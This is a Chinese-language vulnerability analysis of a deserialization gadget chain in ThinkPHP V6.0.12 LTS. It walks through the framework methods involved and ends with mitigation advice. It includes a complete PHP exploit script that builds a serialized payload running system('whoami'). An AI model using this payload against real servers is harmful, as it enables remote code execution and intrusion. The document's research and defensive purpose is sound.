关于ThinkPHP V6.0.12LTS 反序列化漏洞的二三事
字数 1583 2025-08-26 22:11:15
ThinkPHP V6.0.12 LTS 反序列化漏洞深度分析
漏洞概述
ThinkPHP V6.0.12 LTS版本中存在一个反序列化漏洞,攻击者可以通过精心构造的序列化数据触发反序列化操作,最终实现任意代码执行。该漏洞利用了ThinkPHP框架中的多个魔术方法和类之间的交互关系,形成了一条完整的利用链。
漏洞利用链分析
关键魔术方法
在反序列化漏洞中,以下两种魔术方法尤为重要:
__wakeup()- 执行unserialize()时首先调用的函数__destruct()- 对象被销毁时调用的函数
利用链流程
完整的利用链如下:
- 入口点:
Model::__destruct() - 条件检查:
Model::save() - 数据更新:
Model::updateData() - 字段检查:
Model::checkAllowFields() - 数据库操作:
Model::db() - 字符串转换:触发
__toString() - JSON转换:
Conversion::toJson() - 数组转换:
Conversion::toArray() - 属性获取:
Attribute::getAttr() - 值处理:
Attribute::getValue() - 最终执行:
Attribute::getJsonValue()实现RCE
关键代码分析
1. 反序列化入口点
Model类中的__destruct()方法:
public function __destruct() {
if ($this->lazySave) {
$this->save();
}
}
需要设置$this->lazySave = true才能进入利用链。
2. save()方法条件绕过
Model::save()中有两个关键条件需要满足:
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
需要:
$this->isEmpty()返回false →$this->data不为空$this->trigger('BeforeWrite')返回true →$this->withEvent = false
3. updateData()方法分析
protected function updateData(): bool {
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
$data = $this->getChangedData();
// ...
$allowFields = $this->checkAllowFields();
}
需要关注getChangedData()方法:
public function getChangedData(): array {
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
// ...
});
return $data;
}
默认情况下$this->force为null,会进入第二种情况。
4. checkAllowFields()方法触发
protected function checkAllowFields(): array {
if (empty($this->field)) {
if (!empty($this->schema)) {
// ...
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
// ...
}
}
// ...
}
关键点在于$this->table . $this->suffix的字符串拼接操作,可以触发__toString()魔术方法。
5. __toString()触发链
Conversion类中的相关方法:
public function __toString() {
return $this->toJson();
}
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string {
return json_encode($this->toArray(), $options);
}
public function toArray(): array {
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
// ...
$item[$key] = $this->getAttr($key);
}
return $item;
}
6. getAttr()和getValue()方法
public function getAttr(string $name) {
$value = $this->getData($name);
return $this->getValue($name, $value, $relation);
}
protected function getValue(string $name, $value, $relation = false) {
if (isset($this->withAttr[$fieldName])) {
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
}
// ...
}
关键点在于$this->withAttr和$this->json的可控性,可以实现任意函数调用。
漏洞利用条件
需要控制以下参数:
$this->lazySave = true- 触发save()方法$this->data不为空 - 绕过isEmpty()检查$this->exists = true- 进入updateData()分支$this->withEvent = false- 确保trigger()返回true$this->table设置为触发__toString()的对象$this->withAttr和$this->json配置为恶意参数
EXP构造
<?php
namespace think {
abstract class Model {
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
public function __construct($obj = '') {
$this->lazySave = true;
$this->data = ['whoami' => ['whoami']];
$this->exists = true;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {}
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
防护建议
- 升级到最新版本的ThinkPHP
- 避免反序列化用户可控的数据
- 对魔术方法进行安全审查
- 使用白名单机制限制可反序列化的类
- 实施输入验证和过滤
总结
该漏洞通过精心构造的序列化数据,利用ThinkPHP框架中多个类的交互关系和魔术方法的调用链,最终实现了任意代码执行。理解这个漏洞需要对PHP反序列化机制和ThinkPHP框架的内部实现有深入的认识。开发人员应当重视反序列化操作的安全性,避免类似漏洞的出现。